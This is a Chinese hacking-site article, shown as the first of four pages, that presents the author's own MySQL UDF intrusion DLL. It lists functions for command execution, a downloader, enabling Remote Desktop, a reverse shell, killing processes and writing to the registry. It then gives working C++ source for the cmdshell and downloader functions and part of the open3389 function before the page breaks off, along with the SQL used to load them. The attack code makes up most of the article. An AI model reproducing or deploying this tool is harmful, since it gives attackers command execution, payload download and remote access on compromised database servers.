设为首页 友情链接
在线留言 发表文章
加入收藏 广告联系

刺猬首页

| 专案技术 | 网络技术 | 图形图象 | 网络编程 | 网页设计 | 操作系统 | 服务器 | 技术白皮书 | 在线实验室 | 刺猬论坛 |
小说专版  | 数据库 | 设计赏析 | 存储频道 | 网络安全 | 私服架设 |  Solaris | 网站评估 | PC维护技巧 | 下载中心 | 博 客 |
专   题: | Linux | java | cisco | 防病毒 | 刀片 | SOA | iscsi | ASP.NET | SQL | Oracle |
您现在的位置: 刺猬宫 >> 网络安全 >> 黑客攻防 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
黑客技巧之用VB实现木马…
正、邪两类黑客的四大主…
黑客技巧之入侵Win XP常…
黑客教你将内网肉鸡作成…
悄悄告诉你黑客如何给你…
解决Telnet入侵在FTP空间…
黑客高级技巧之Linux后门…
想成为黑客最起码要懂的…
入侵Windows2000系统放置…
黑客基础知识系列之认清…
  黑客入侵之打造全功能MYSQL入侵UDF         ★★★★★
黑客入侵之打造全功能MYSQL入侵UDF
 

my_udf.dll和Mix.dll相似,但它是通过my_udfdoor函数在服务器上侦听3306端口,用nc正向连接获得shell,但它的功能显的少了点,于是我决定自己写一个功能强大,运行稳定的UDF。

MYSQL有一个开发包,它定义了自己的接口,变量类型,以及函数执行顺序。比如我们要写一个open3389函数,我们可以这样写:

extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT 

*initid, UDF_ARGS *args, char *message)

{

//在open3389函数之前调用,一般用于初始化工作,为可选函数;

//return 1出错 ,0 正常

   return 0;

}

extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char 

*result, unsigned long *length,char *is_null, char *error)

{

//真正实现功能的函数,必需函数;

/*

函数内容;

return 结果;

*/

}

extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)

{

//在open3389函数之后调用,一般用于内存释放,可选函数;

}

[Copy to clipboard]

以上的open3389函数的返回值是char *类型的,如果是其它类型函数的参数列表也会有所不同,具体的可见MYSQL参考手册。

在写MYSQL UDF时另一个必须考虑的问题是程序的稳定时,它要经的起各种变态输入的考验,否则一旦程序出错MYSQL服务进程就会当掉。

以下是我写的UDF内容,它包含10个函数:

cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;



使用方法:

创建函数:create function 函数名(区分大小写) returns string soname 'dll名' (注意路径);

删除函数:delete function 函数名;

使用函数:select 函数名(参数列表);获取参数信息可使用select 函数名("help");

以上几个函数都经过多次的测试(测试平台:MYSQL 5.0.24-community-nt、Windows XP),不太可能会造成MYSQL假死等现象,但也不排除在特殊环境,特殊输入的情况下出错的可能。

CODE:

//-----------------------------------------------------------------------源程序

// MYSQL_UDF.cpp : 定义 DLL 应用程序的入口点。

#include "stdafx.h"

#include "stdio.h"

#include 

#include 

#include 

#include 

#include 

#include "mysql.h"

#include "resource.h"



#pragma comment(lib, "Urlmon.lib")

HANDLE g_module;

//-----------------------------------------------------------------------

BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)

{

  if(ul_reason_for_call==DLL_PROCESS_ATTACH)

       g_module=hModule;

  return TRUE;

}

//-----------------------------------------------------------------------cmdshell

extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, 

char *message)

{//return 1出错 ,0 正常

   initid->max_length=65*1024*1024;

   return 0;

}

extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char 

*result, unsigned long *length,char *is_null, char *error)

{



   if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args

[0],"help")==0)

   {

       initid->ptr=(char *)malloc(200);

       if(initid->ptr==NULL)return NULL;

       strcpy(initid->ptr,"执行CMD Shell函数.\r\n例:select cmdshell(\"dir c:\\\\\");\r\n参

数中的\"\\\"要用\"\\\\\"代替.");

       *length=strlen(initid->ptr);

       return initid->ptr;

   }



   int RunStatus=0;

   char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100];

   DWORD size=0,len;

   HANDLE hFile;

   

   GetSystemDirectory(ShellPath,MAX_PATH-1);

   strcat(ShellPath,"\\cmd.exe");

   GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);

   strcat(TempFilePath,"\\2351213.tmp");



   cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);

   strcpy(cmdline," /c ");

   strcat(cmdline,(args->args)[0]);

   strcat(cmdline,">");

   strcat(cmdline,TempFilePath);



   STARTUPINFO si;

   PROCESS_INFORMATION pi;

   ZeroMemory( &si, sizeof(si) );

   si.wShowWindow=SW_HIDE;

   si.cb = sizeof(si);

   ZeroMemory( &pi, sizeof(pi) );

   RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);

   free(cmdline);



   if(!RunStatus)

   {

       itoa(GetLastError(),temp,10);

       sprintf(temp,"Shell无法启动,GetLastError=%s\n",temp);

       initid->ptr=(char *)malloc(strlen(temp)+1);

       strcpy(initid->ptr,temp);

       (*length)=strlen(initid->ptr);

       return initid->ptr;

   }



   WaitForSingleObject(pi.hProcess,30000);



   //获得结果

   hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,

FILE_ATTRIBUTE_ARCHIVE,NULL);

   if(hFile!=INVALID_HANDLE_VALUE)

   {

       size=GetFileSize(hFile,NULL);

       initid->ptr=(char *)malloc(size+100);

       ReadFile(hFile,initid->ptr,size+1,&len,NULL);

       (initid->ptr)[size]='\0';

       strcat(initid->ptr,"\r\n---------------------------------完成!\r\n");



       CloseHandle(hFile);

       DeleteFile(TempFilePath);

   }

   else

   {

       initid->ptr=(char *)malloc(100);

       strcpy(initid->ptr,"\r\n---------------------------------完成!\r\n");

   }

   (*length)=strlen(initid->ptr);

   return initid->ptr;



}

extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid)

{

   if(initid->ptr!=NULL)

       free(initid->ptr);

}

//-----------------------------------------------------------------------downloader

extern "C" __declspec(dllexport)my_bool downloader_init(UDF_INIT *initid, UDF_ARGS *args,

 char *message)

{//return 1出错 ,0 正常

   initid->max_length=65*1024*1024;

   return 0;

}

extern "C" __declspec(dllexport)char *downloader(UDF_INIT *initid, UDF_ARGS *args,char 

*result, unsigned long *length,char *is_null, char *error)

{

   if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!

=STRING_RESULT || stricmp(args->args[0],"help")==0)

   {

       initid->ptr=(char *)malloc(200);

       if(initid->ptr==NULL)return NULL;

       strcpy(initid->ptr,"下载者函数\r\n例:select downloader(\"[url]

http://www.baidu.com/server.exe[/url]\",\"c:\\\\winnt\\\\system32\\\\ser.exe\");\r\n参数中

的\"\\\"要用\"\\\\\"代替.");

       *length=strlen(initid->ptr);

       return initid->ptr;

   }



   HANDLE hFile;

   char path[MAX_PATH];





   strcpy(path,(args->args)[1]);

   

   hFile=CreateFile(path,GENERIC_WRITE,FILE_SHARE_READ, NULL,CREATE_ALWAYS,0,NULL);

   if(hFile==INVALID_HANDLE_VALUE)

   {

       initid->ptr=(char *)malloc(100+strlen(path));

       sprintf(initid->ptr,"文件创建失败,请确认目录存在且有写权限(%s).",path);

       *length=strlen(initid->ptr);

       return initid->ptr;

   }

   CloseHandle(hFile);

   DeleteFile(path);

   

   if(URLDownloadToFile(NULL,(args->args)[0],path,0,0)==S_OK)

   {

       initid->ptr=(char *)malloc(50+strlen(path));

       sprintf(initid->ptr,"下载文件成功(%s).",path);

       *length=strlen(initid->ptr);

       return initid->ptr;

   }

   else

   {

       initid->ptr=(char *)malloc(100+strlen((args->args)[0]));

       sprintf(initid->ptr,"下载文件出现错误,可能是网络原因(%s).",(args->args)[0]);

       *length=strlen(initid->ptr);

       return initid->ptr;

   }



}

extern "C" __declspec(dllexport)void downloader_deinit(UDF_INIT *initid)

{

   if(initid->ptr)

       free(initid->ptr);

}

//-----------------------------------------------------------------------open3389

extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, 

char *message)

{//return 1出错 ,0 正常

   initid->max_length=65*1024*1024;

   return 0;

}

extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char 

*result, unsigned long *length,char *is_null, char *error)

{

   if(!(args->arg_count==0 ||(args->arg_count==1 && args->arg_type[0]==INT_RESULT)))

   {

       initid->ptr=(char *)malloc(200);

       if(initid->ptr==NULL)return NULL;

       strcpy(initid->ptr,"通用开3389终端服务.修改端口需重启后生效.\r\n例:select open3389

([端口]);");

       *length=strlen(initid->ptr);

       return initid->ptr;

   }



   HRSRC hrsrc1;

   HGLOBAL hglobal1;

   HANDLE hFile;

   char path[MAX_PATH];

   DWORD size,size2;



   GetEnvironmentVariable("temp",path,MAX_PATH-1);

   strcat(path,"\\457391.exe");



   hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN1), "BIN");

   if(hrsrc1==NULL)

   {

       initid->ptr=(char *)malloc(100);

       strcpy(initid->ptr,"查找资源出错,open3389无法继续运行.");

       *length=strlen(initid->ptr);

       return initid->ptr;

   }

   size=SizeofResource((HMODULE)g_module, hrsrc1);

   hglobal1=LoadResource((HMODULE)g_module, hrsrc1);

   if(hglobal1==NULL)

   {

       initid->ptr=(char *)malloc(100);

       strcpy(initid->ptr,"载入资源出错,open3389无法继续运行.");

       *length=strlen(initid->ptr);

       return initid->ptr;

   }





   hFile = CreateFile(path,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL);

   if(hFile==INVALID_HANDLE_VALUE)

   {

       initid->ptr=(char *)malloc(100);

       strcpy(initid->ptr,"创建临时文件出错,open3389无法继续运行.");

       *length=strlen(initid->ptr);

       return initid->ptr;

   }

   WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL);

   CloseHandle(hFile);

   GlobalFree(hglobal1);







   STARTUPINFO si;

   PROCESS_INFORMATION pi;

   ZeroMemory( &si, sizeof(si) );

   si

[1] [2] [3] [4] 下一页

频道声明:本频道的文章除部分特别声明禁止转载的专稿外,可以自由转载.但请务必注明出出处和原始作者 文章版权归本频道与文章作者所有.对于被频道转载文章的个人和网站,我们表示深深的谢意。

原始作者:佚名 录入时间:2007-8-6 11:41:49
信息来源:不详 投稿信箱:itqoo@126.com
文章录入:itqoo    责任编辑:itqoo 
  • 上一个文章:

  • 下一个文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    - 关于我们 - 合作伙伴 - 友情链接 - 广告刊登 - 投稿热线 - 在线留言版权声明联系方式 -
    IT公社版权所有 粤ICP备05127012号
    Copyrigh@2005-2006 itqoo.com.Inc All Rights Reserved  推荐分辨率 1024*768
    联系站长:E-Mail:itqoo@126.com     MSN:urchincc@hotmail.com    QQ:点击这里给我发消息
    特别感谢:亿太网络提供空间支持